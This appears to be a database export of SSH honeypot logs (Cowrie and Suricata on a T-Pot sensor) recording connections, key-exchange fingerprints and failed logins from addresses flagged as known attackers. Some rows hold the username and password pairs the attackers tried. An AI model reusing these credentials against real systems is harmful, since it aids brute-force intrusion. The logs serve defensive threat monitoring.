"chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60100, "dest_port": 22, "timestamp": "2021-09-20T11:07:12.802393", "@timestamp": "2021-09-20T11:07:12.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
23254	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.771769+03	2021-09-20 14:15:07.271471+03	{"_id": "NQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e7dcfc2e555e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:12.771769Z", "@timestamp": "2021-09-20T11:07:12.771Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23249	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:12.243777+03	2021-09-20 14:15:07.26347+03	{"_id": "MAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "b804c76d0e87", "@version": "1", "timestamp": "2021-09-20T11:07:12.243777Z", "@timestamp": "2021-09-20T11:07:12.243Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23250	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.285075+03	2021-09-20 14:15:07.26547+03	{"_id": "MQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "edf7e33fbfde", "@version": "1", "duration": 2.433103084564209, "timestamp": "2021-09-20T11:07:12.285075Z", "@timestamp": "2021-09-20T11:07:12.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23251	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:12.474555+03	2021-09-20 14:15:07.266471+03	{"_id": "MgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "18a1ddb0f9cf", "@version": "1", "duration": 4.7092204093933105, "timestamp": "2021-09-20T11:07:12.474555Z", "@timestamp": "2021-09-20T11:07:12.474Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23252	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.52511+03	2021-09-20 14:15:07.268471+03	{"_id": "MwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "55bf75b9d088", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:12.525110Z", "@timestamp": "2021-09-20T11:07:12.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
23253	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.556407+03	2021-09-20 14:15:07.27047+03	{"_id": "NAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d3cb8bf37f97", "@version": "1", "timestamp": "2021-09-20T11:07:12.556407Z", "@timestamp": "2021-09-20T11:07:12.556Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23255	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.806364+03	2021-09-20 14:15:07.27347+03	{"_id": "NgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [operator/h566UniFi] failed", "session": "3e99a7cbb34b", "@version": "1", "password": "h566UniFi", "username": "operator", "timestamp": "2021-09-20T11:07:12.806364Z", "@timestamp": "2021-09-20T11:07:12.806Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23256	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.809422+03	2021-09-20 14:15:07.27447+03	{"_id": "NwbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "55bf75b9d088", "@version": "1", "timestamp": "2021-09-20T11:07:12.809422Z", "@timestamp": "2021-09-20T11:07:12.809Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
23257	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:12.983389+03	2021-09-20 14:15:07.27547+03	{"_id": "OAbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [albaunio/BArt1234] failed", "session": "01e882b3c60e", "@version": "1", "password": "BArt1234", "username": "albaunio", "timestamp": "2021-09-20T11:07:12.983389Z", "@timestamp": "2021-09-20T11:07:12.983Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
23258	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:12.990126+03	2021-09-20 14:15:07.276471+03	{"_id": "OQbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "0543f1973e1e", "@version": "1", "duration": 2.569584369659424, "timestamp": "2021-09-20T11:07:12.990126Z", "@timestamp": "2021-09-20T11:07:12.990Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23259	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:13.001967+03	2021-09-20 14:15:07.278471+03	{"_id": "OgbjAnwBvYTbRNuEdAiC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d1e6d0a77d48", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:13.001967Z", "@timestamp": "2021-09-20T11:07:13.001Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23265	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:13.001831+03	2021-09-20 14:15:07.28547+03	{"_id": "QAbjAnwBvYTbRNuEdgjz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1452810996566336, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 59454, "dest_port": 22, "timestamp": "2021-09-20T11:07:13.001831Z", "@timestamp": "2021-09-20T11:07:13.001Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
